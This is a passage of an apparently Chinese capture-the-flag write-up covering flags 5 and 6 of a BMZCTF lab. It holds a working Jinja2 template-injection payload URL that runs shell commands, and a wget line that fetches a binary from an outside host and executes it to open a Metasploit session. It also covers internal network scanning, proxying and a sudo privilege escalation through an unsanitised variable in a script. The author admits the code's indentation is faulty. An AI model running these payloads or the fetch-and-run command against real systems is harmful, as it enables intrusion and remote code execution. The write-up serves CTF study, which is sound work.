http://81.69.27.32:8001/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("cat+/flag/flag5").read()') }} {% endif %} {% endif %} {% endfor %}{% endif %}{% endfor %}

img

反弹shell

img

上线msf

1
wget -qO c3hGHQTr --no-check-certificate http://81.69.27.32:8080/3qKxgRC; chmod +x c3hGHQTr; ./c3hGHQTr& disown

img

flag6

查看ip信息,发现新的网段172.38.10.0/24

img

上传TailorScan进行内网扫描

1
upload /CyzCc/tools/TailorScan/TailorScan_linux_amd64 /tmp

对其进行全端口扫描或者top100

img

发现内网设备 172.38.10.3 ,并仅开放22端口。前面在数据库中看到的用户名密码还没有使用,在这里进行尝试登录:

img

发现无法登录。将网络代理出来。在本地进行登录:

img

首先查看当前用户信息,是BMZCTFer

img

再查看靶机的用户,有BMZCTFer和BMZCTFFLAGer。

img

再查看/flag文件信息。发现/flag6。只有root可以读取。

img

我们再查看flag6的ACL权限。

img

发现BMZCTFFLAGer就可以读取。所以我们要提权到BMZCTFFLAGer。

查看BMZCTFFLAGer家目录。发现 talk.sh 文件。并有可执行权限。

img

查看文件

img

看到

1
$msg 2>/dev/null

这个是个漏洞。可以利用。

先执行一次。发现没有什么效果。

img

再查看sudo权限

img

看到可以不使用密码,就能以BMZCTFFLAGer用户执行talk.sh文件。我们以BMZCTFFLAGer用户执行talk.sh,并在 $msg 处输入 /bin/sh

img

这样我们就得到了BMZCTFFLAGer用户的shell。

最后查看/flag6。我们就得到了flag


最后

因为开头交代的原因,代码的缩紧逻辑有误。

若找到错误,麻烦各方向师傅直接发出更正后的代码(附上题目名称、前后的步骤)